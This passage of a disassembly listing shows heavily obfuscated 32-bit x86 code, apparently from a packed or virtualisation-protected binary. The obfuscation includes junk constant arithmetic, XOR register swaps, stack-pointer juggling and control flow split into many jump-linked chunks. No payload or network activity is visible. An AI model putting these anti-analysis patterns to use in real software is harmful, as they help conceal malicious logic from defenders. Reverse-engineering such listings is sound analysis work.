END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ADF77: ; CODE XREF: sub_5992DA+10Aj add ebx, ebp pop ebp jmp loc_59BF55 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ADF7F: ; CODE XREF: sub_5AA2D1+2708j mov al, ch not al jmp loc_59A06D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5ADF88: ; CODE XREF: sub_5AC18D-B704j add bl, dl add bl, 73h push dword ptr [esp+0] mov edx, [esp+4+var_4] add esp, 4 push ebp mov ebp, esp jmp loc_5A734D ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D9AA loc_5ADFA1: ; CODE XREF: sub_59D9AA-898j mov ebp, 4E141836h shr ebp, 7 neg ebp push ecx mov ecx, 48119A7h add ecx, 215FF534h and ebp, ecx pop ecx push edx mov edx, 30A12CE2h neg edx shl edx, 1 sub edx, 0A462DDACh sub ebp, edx pop edx sub ebx, 36482E80h sub ebx, ebp add ebx, 36482E80h jmp loc_5AA3E4 ; END OF FUNCTION CHUNK FOR sub_59D9AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5ADFE0: ; CODE XREF: sub_599A61+97A6j add ebx, 0D8F55A4h sub ebx, 1A1131EAh and ebx, 20FF7426h shr ebx, 5 add ebx, 15A58B71h add eax, ebx pop ebx xor esi, eax pop eax add edx, 11036B18h add edx, esi sub edx, 11036B18h mov esi, [esp+0] add esp, 4 add edx, ecx sub edx, 2A1A64B1h mov ecx, [esp-8+arg_0] add esp, 4 xchg edx, [esp-0Ch+arg_4] pop esp jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AE02F: ; CODE XREF: sub_5992DA+921j push 2435h mov [esp+18h+var_18], ebx mov ebx, 0FD9F1647h add esi, 37526610h add esi, ebx push edi jmp loc_5AF637 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE04A: ; CODE XREF: sub_5AA2D1-AB9Cj add esp, 4 push 61AFh mov [esp+4+var_4], ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] pop esp or eax, eax jz loc_5A384C push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 51CF2376h neg ecx sub ecx, 0AE30DC86h add ebp, 117B3D7Ah sub ebp, ecx sub ebp, 117B3D7Ah mov ecx, [esp+8+var_8] add esp, 4 xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_5AA96F ; --------------------------------------------------------------------------- loc_5AE0B4: ; CODE XREF: sub_5AA52F-79B9j ; sub_5AA2D1+5EB4j mov bh, 54h mov ch, 46h add ch, bh pop ebx shl ch, 5 push 6CCBh mov [esp+4+var_4], ecx not byte ptr [esp+4+var_4+1] pop ecx xor ch, 88h sub al, ch pop ecx push edx push ebx push edx mov dl, 0ADh mov bh, 5Fh jmp loc_5A2AB2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AE0DD: ; CODE XREF: sub_59C979+B584j mov eax, 2540247Eh add edi, 4A7D706Dh add edi, eax sub edi, 4A7D706Dh mov eax, dword ptr [esp+2+var_2] push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi jmp loc_5A44B0 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE103: ; CODE XREF: sub_5AA2D1-D271j add ebp, 4 add ebp, 4 xchg ebp, [esp-0Ch+arg_8] pop esp or ch, 28h and ch, 7Fh push ax jmp loc_59AAB1 ; --------------------------------------------------------------------------- loc_5AE120: ; CODE XREF: sub_5AA2D1+868j push [esp-14h+arg_10] pop eax add esp, 4 jmp loc_5A232F ; --------------------------------------------------------------------------- loc_5AE12C: ; CODE XREF: sub_5AA2D1+42C5j pop edx push 71F8h mov [esp-18h+arg_14], ebx push edx mov edx, 33FE3DA4h jmp loc_5A7FF6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_5AE140: ; CODE XREF: sub_5A9EC5-F6Fj sub bl, 3Eh add bl, dh add bl, 3Eh jmp loc_5AE7E9 ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BEB loc_5AE14D: ; CODE XREF: sub_5A7BEB-4AAEj add cl, 92h add cl, 12h ja sub_59B69D push bx jmp sub_5A311C ; END OF FUNCTION CHUNK FOR sub_5A7BEB ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax mov al, bl ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AE166: ; CODE XREF: sub_5A580F-88A1j sub dword ptr [esp+0], 60BA37BAh push eax mov eax, 2C4A365Fh xor eax, 339B3953h jmp loc_5AE539 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AE17D: ; CODE XREF: sub_5A6BBC-BE2j push [esp+arg_0] push [esp+4+var_4] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+8+var_8] pop esp pop [esp+4+var_4] mov esp, [esp+0] mul cl jmp loc_5AECE8 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- loc_5AE1A2: ; CODE XREF: sdfs____:005ACCAFj mov eax, [esp] add esp, 4 sub al, 6Fh sub al, ch add al, 6Fh jmp loc_5A26DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AE1B6: ; CODE XREF: sub_59D6B8+37C7j push eax jmp loc_5A9415 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1F3 loc_5AE1BC: ; CODE XREF: sub_59F1F3+4462j add esp, 4 sub edx, 2BF87D5Fh add edx, edi push edi mov edi, 3AB82358h and edi, 649620CCh inc edi add edi, 0B685D16h add edx, edi jmp loc_59CB94 ; END OF FUNCTION CHUNK FOR sub_59F1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AE1E4: ; CODE XREF: sub_5A6BBC-2700j add eax, ebx mov ebx, [esp+0] jmp loc_5A2FAE ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE72D loc_5AE1EE: ; CODE XREF: sub_5AE72D+B01j add edi, esi add edi, 5430080Dh add edi, 6B2E25F8h mov esi, [esp+0Ch+var_C] add esp, 4 push 5ECAh mov [esp+0Ch+var_C], edi push [esp+0Ch+var_8] pop edi pop [esp+0Ch+var_C] mov esp, [esp+8+var_8] push [esp-8+arg_4] mov ecx, [esp-4+arg_0] add esp, 4 push 0F85h mov [esp-4+arg_0], edi push edx push esp pop edx add edx, 4 jmp loc_59CFCB ; END OF FUNCTION CHUNK FOR sub_5AE72D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AE237: ; CODE XREF: sub_5992DA+D4Ej jmp loc_59DCE9 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A355D loc_5AE23C: ; CODE XREF: sub_5A355D+290Aj sub ebx, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] jmp loc_5AEA40 ; END OF FUNCTION CHUNK FOR sub_5A355D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5AE24D: ; CODE XREF: sub_59C979+B222j xor cl, 9Fh jmp loc_5A67D9 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_5AE255: ; CODE XREF: sdfs____:0059C579j sub edi, 316D31C8h jmp loc_5A4F57 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AE260: ; CODE XREF: sub_5A2E41+CA54j mov [esp+0], edx mov edx, esp add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop [esp+4+var_4] mov esp, [esp+0] add edx, 2 xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] mov esp, [esp+0] shr byte ptr [esp-8+arg_0], cl pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B3C9 loc_5AE292: ; CODE XREF: sub_59B3C9+1225Bj add eax, 4 jmp loc_59BB83 ; END OF FUNCTION CHUNK FOR sub_59B3C9 ; =============== S U B R O U T I N E ======================================= sub_5AE29C proc near ; CODE XREF: sub_5A9B1D-CBF9j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059FBA6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A11AE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A1E29 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A4EB4 SIZE 00000046 BYTES ; FUNCTION CHUNK AT 005A505A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A568B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6666 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A8893 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A8EBA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AAA6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AAE71 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AD3F0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AF9C9 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 4 jmp loc_5A8893 sub_5AE29C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5AE2AC: ; CODE XREF: sub_59F463+106F1j add eax, esi pop esi xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] xchg edx, [esp+4+var_4] jmp loc_5A3AB4 ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- loc_5AE2BD: ; CODE XREF: sdfs____:0059C279j mov ebx, eax pop eax shl ebx, 1 shl ebx, 8 or ebx, 2E005ABFh dec ebx xor ebx, 27E21940h push edx jmp loc_5A7D05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5AE2D8: ; CODE XREF: sub_5A5824-5A57j push [esp+8+var_8] pop edx push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp+0Ch+var_C] pop esp xor edx, edi xor edi, edx xor edx, edi inc edi push 0B04h jmp loc_5A8A0A ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- loc_5AE303: ; CODE XREF: sdfs____:005A7D12j mov edx, [esp] jmp loc_5AFDB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE30B: ; CODE XREF: sub_5AA2D1-8F8Bj add edx, esi pop esi add edx, edi push dword ptr [edx] jmp loc_5ABB10 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AE317: ; CODE XREF: sub_59D6B8-2571j not [esp+20h+var_20] pop eax dec eax add eax, 152E18C3h jmp loc_5AF1C6 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AE326: ; CODE XREF: sub_5A477C-1FE5j not edx push ecx mov ecx, 528B3E33h and ecx, 76AB6804h shr ecx, 1 add ecx, 5BE43E53h push esi jmp loc_5AD4F9 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5AE342: ; CODE XREF: sub_59D4FD+745Aj xor esi, [esp-0Ch+arg_8] jmp loc_5ADA2F ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5AE34A: ; CODE XREF: sub_5A3E64+458Cj sub ebp, 6ADA0AFBh pop eax push ebx mov ebx, 2 add ebp, 1842759Fh add ebp, ebx sub ebp, 1842759Fh push [esp-4+arg_0] pop ebx add esp, 4 xchg ebp, [esp+0] pop esp push ecx jmp loc_59B101 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_5AE379: ; CODE XREF: sub_5B03B3-17142j mov edi, 15935D84h and edx, edi push dword ptr [esp+0] pop edi push ecx jmp loc_59ED28 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AE38A: ; CODE XREF: sub_5AF2D9-AEE0j mov dl, 0CFh xor cl, dl pop edx xor cl, 0B6h jmp loc_5A197C ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE397: ; CODE XREF: sub_5AA2D1-A714j pop esp mov [esp-0Ch+arg_8], edx push eax mov al, 0Fh push eax mov al, 5Dh jmp loc_5ACA93 ; --------------------------------------------------------------------------- loc_5AE3A6: ; CODE XREF: sub_5AA2D1-EB27j add bl, 24h jmp loc_5AEC74 ; --------------------------------------------------------------------------- loc_5AE3AE: ; CODE XREF: sub_5AA2D1+8D3j pop esi push esi push eax mov eax, 25E3331Fh xor [esp+4], eax mov eax, [esp+4+var_4] push ecx push esp mov ecx, [esp+0Ch+var_C] jmp loc_59969C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5AE3C7: ; CODE XREF: sub_599A61:loc_59CDF1j push ecx push ebp mov ebp, 6B4931F1h jmp sub_5A633D ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE3D3: ; CODE XREF: sub_5AA2D1-A45Dj mov edx, [esp+4+var_4] jmp loc_59F6F5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4D9D loc_5AE3DB: ; CODE XREF: sub_5A4D9D-11j pop esp jmp loc_5A1FA5 ; END OF FUNCTION CHUNK FOR sub_5A4D9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5AE3E1: ; CODE XREF: sub_5A3C19+C648j pop ecx push edi jmp loc_59C66D ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AE3E8: ; CODE XREF: sub_5992DA+3899j push edi mov edi, 47CC3A41h jmp loc_5A68B2 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_5AE3F3: ; CODE XREF: sub_5A5648+1FD6j push edi push eax mov eax, 0FFFFFFFFh mov edi, eax mov eax, [esp+10h+var_10] add esp, 4 sub eax, edi pop edi jmp loc_5A1BEA ; END OF FUNCTION CHUNK FOR sub_5A5648 ; =============== S U B R O U T I N E ======================================= sub_5AE40A proc near ; CODE XREF: sub_5AA2D1-10D62j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599F84 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059E9F6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059F300 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A6546 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A7CBD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A863F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AE9F4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005B01C4 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, esp jmp loc_599F84 sub_5AE40A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_5AE41A: ; CODE XREF: sub_5A26E8-78B4j mov edi, 73CA1BCEh xor edx, edi pop edi add ebp, edx pop edx jmp loc_59DFED ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF9B3 loc_5AE42A: ; CODE XREF: sub_5AF9B3+6j mov edx, 732937BFh sub ebp, edx jmp loc_5A86DC ; END OF FUNCTION CHUNK FOR sub_5AF9B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5AE436: ; CODE XREF: sub_5A79BE:loc_5A662Bj xor esi, 4C251592h jge loc_59E2EA shr esi, 3 jmp loc_59BC20 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- mov dh, bh push esp ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_5AE44D: ; CODE XREF: sub_5A4DFC-2A29j push edx mov dh, ah mov bl, dh push [esp+0Ch+var_C] pop edx add esp, 4 push 7B77h mov [esp+0Ch+var_C], ecx push eax mov ah, bl mov cl, ah pop eax jmp loc_5A8D6C ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE46C: ; CODE XREF: sub_5AA2D1-44EEj pop dx add al, 0CAh sub al, 8Ch add al, dl push 5ACBh mov [esp+8+var_8], ecx mov ch, 0E1h jmp loc_5ACBB7 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5AE483: ; CODE XREF: sub_59F4D2:loc_5AB85Cj add ebp, 5CD7631Ah mov eax, ebp mov ebp, [esp+0] add esp, 4 jmp loc_5ABBB8 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB622 loc_5AE496: ; CODE XREF: sub_5AB622-324j shl edi, 2 jmp loc_59DE30 ; END OF FUNCTION CHUNK FOR sub_5AB622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AE49E: ; CODE XREF: sub_5AA810-32DBj ; sub_59EE3E+C60Aj add ecx, 1F8F1D36h jmp loc_59B707 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_5AE4A9 proc near ; DATA XREF: sdfs____:00598F90o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005999A0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B7F1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A8734 SIZE 0000001C BYTES mov cx, [esp+0] push ecx mov ecx, esp jmp loc_59B7F1 sub_5AE4A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5AE4B5: ; CODE XREF: sub_5A3E64+18j mov eax, 25D70BAEh xchg eax, edx jmp loc_5A234C ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AE4C0: ; CODE XREF: sub_5ADD33:loc_5A9F47j dec ebx jz loc_5AE4FC sub ebx, 19720EBCh js loc_5A924C jmp loc_5AEDBC ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5AE4D8: ; CODE XREF: sub_5AD795-137A0j pop esp jmp loc_59ED35 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_5AE4DE: ; CODE XREF: sub_5992DA+F2Cj ; sub_59A7E7+548Bj ... add cl, 0E3h sub bl, cl mov ecx, [esp-4+arg_0] add esp, 4 mov ecx, [esp+0] push 7829h mov [esp-4+arg_0], ebp jmp loc_5A69CE ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE4FC: ; CODE XREF: sub_5AA2D1-96B3j ; sub_5ADD33+78Ej pop ebp push eax push esp mov eax, [esp-2Ch+arg_28] jmp loc_5ACF18 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AE507: ; CODE XREF: sub_5A477C-1AD1j neg ecx shr ecx, 5 push esi mov esi, 0CF1126C8h sub ecx, esi mov esi, [esp+0] add esp, 4 jmp loc_5A6F79 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5997FD loc_5AE51F: ; CODE XREF: sub_5997FD+F3CFj pop ebp mov eax, [esp+0] add esp, 4 add eax, 4 push eax mov eax, esp push ebx mov ebx, 12581ACAh jmp loc_59B157 ; END OF FUNCTION CHUNK FOR sub_5997FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AE539: ; CODE XREF: sub_5A580F+8969j jp loc_5A089C and eax, 2BB56192h jnz loc_5A80D6 mov al, 23h mov dh, bl loc_5AE54E: ; CODE XREF: sub_5AAF7A-35E2j xor eax, 49A1B3Bh xor eax, 38425503h xor eax, 0C94DBE14h add esi, eax pop eax add esi, 51DD5E8Eh sub esi, ebx sub esi, 51DD5E8Eh sub esi, 6F724DD6h pop ebx push ebx mov ebx, 0D5245DCh jmp loc_5A7FDB ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_5AE580: ; CODE XREF: sub_59E94B+1180Dj mov ebp, [esp+8+var_8] add esp, 4 jmp loc_5AA61E ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5AE58B: ; CODE XREF: sub_5AD84A-141F1j shr eax, 12h xor eax, ecx jmp loc_59F68B ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE595: ; CODE XREF: sub_5AA2D1-AFA0j ; sub_5AA2D1-895Aj pop edi jmp loc_5AE12C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AE59B: ; CODE XREF: sub_5A16B8+A5B0j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A6F loc_5AE5A0: ; CODE XREF: sub_599A6F+7B36j shl bh, 6 not bh jmp loc_5B00A2 ; END OF FUNCTION CHUNK FOR sub_599A6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A18F6 loc_5AE5AA: ; CODE XREF: sub_5A18F6+9825j add esp, 4 xor edi, 73343F8Ah jmp loc_5A4D38 ; END OF FUNCTION CHUNK FOR sub_5A18F6 ; --------------------------------------------------------------------------- loc_5AE5B8: ; CODE XREF: sdfs____:0059A7C8j xor esi, ebx pop ebx sub esi, 4E18053Fh push esi add dword ptr [esp], 64307336h pop eax sub eax, 64307336h pop esi shl eax, 8 or eax, 0C610148h push 0 sub dword ptr [esp], 47AC23B1h sub dword ptr [esp], 54ED7BF6h sub [esp], eax add dword ptr [esp], 54ED7BF6h add dword ptr [esp], 47AC23B1h pop eax jmp loc_5A1B09 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AE602: ; CODE XREF: sub_5AA2D1-A8C8j pop edi pop [esp-1Ch+arg_18] jmp loc_59C087 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_5AE60B: ; CODE XREF: sub_5AD84A-9134j not ebx and ebx, 444328F6h xor ebx, 5ED73804h sub ecx, ebx pop ebx sub ecx, 30C07046h mov esi, [esp+0Ch+var_C] add esp, 4 xor ecx, [esp+8+var_8] xor [esp+8+var_8], ecx xor ecx, [esp+8+var_8] pop esp push esi mov esi, esp add esi, 4 jmp loc_5AEAFA ; END OF FUNCTION CHUNK FOR sub_5AD84A ; =============== S U B R O U T I N E ======================================= sub_5AE643 proc near ; DATA XREF: sdfs____:00598EECo var_8 = dword ptr -8 var_4 = dword ptr -4 push dword ptr [esp+0] push [esp+4+var_4] pop eax push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp jmp sub_5A0924 sub_5AE643 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3E64 loc_5AE65F: ; CODE XREF: sub_5A3E64-5A10j pop ebx jmp loc_5A83E2 ; END OF FUNCTION CHUNK FOR sub_5A3E64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AE665: ; CODE XREF: sdfs____:005A2A3Ej ; sub_59D6B8+B7FDj ... xchg edx, [esp+4+var_4] jmp loc_5AE843 ; --------------------------------------------------------------------------- loc_5AE66D: ; CODE XREF: sub_59D6B8-2863j neg ebp xor ebp, 0AF17F9B2h add esi, 65AF61AAh add esi, ebp sub esi, 65AF61AAh mov ebp, [esp+10h+var_10] add esp, 4 jmp loc_5AA90F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_5AE691: ; CODE XREF: sub_5A118F-4AD5j ; sub_5A5B27-6ED4j mov [esp+0], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+0] pop esp mov [esp-4+arg_0], ebx jmp loc_5AD36C ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5AE6AB: ; CODE XREF: sub_5AB207-D585j xchg edi, [esp+0] mov esp, [esp+0] jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AB207 ; =============== S U B R O U T I N E ======================================= sub_5AE6B6 proc near ; DATA XREF: sdfs____:0059906Co var_8 = dword ptr -8 var_4 = dword ptr -4 mov cx, [esp+0] sub esp, 4 mov [esp+4+var_4], ebx push esp mov ebx, [esp+8+var_8] jmp loc_59FD41 sub_5AE6B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5AE6CC: ; CODE XREF: sub_599A61+89B8j shl edx, 5 jmp loc_59CDF1 ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5AE6D4: ; CODE XREF: sub_5A4E04+ACC8j mov ebp, esi jmp loc_5A9CF9 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AE6DB: ; CODE XREF: sub_59D6B8+8DD7j mov ebp, esp push ebx mov ebx, 66F55275h add ebx, 6A8E6C56h sub ebx, 1D61541Ah sub ebx, 575470A3h add ebx, 2B5F5303h sub ebx, 721202A1h jmp loc_5AA870 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- loc_5AE706: ; CODE XREF: sdfs____:0059DE97j pop ebx inc dh jmp loc_5AB038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAB66 loc_5AE70E: ; CODE XREF: sub_5AAB66-4C6Cj add esi, 4 xchg esi, [esp+8+var_8] pop esp add edx, 2 push edx push [esp+8+var_4] pop edx pop [esp+8+var_8] mov esp, [esp+4+var_4] test cx, ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AAB66 ; =============== S U B R O U T I N E ======================================= sub_5AE72D proc near ; DATA XREF: sdfs____:00598E64o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0059919D SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0059CFCB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005ADB17 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AE1EE SIZE 00000049 BYTES ; FUNCTION CHUNK AT 005AF21C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AF7AC SIZE 00000015 BYTES push dword ptr [esp+0] pop eax push 53ADh mov 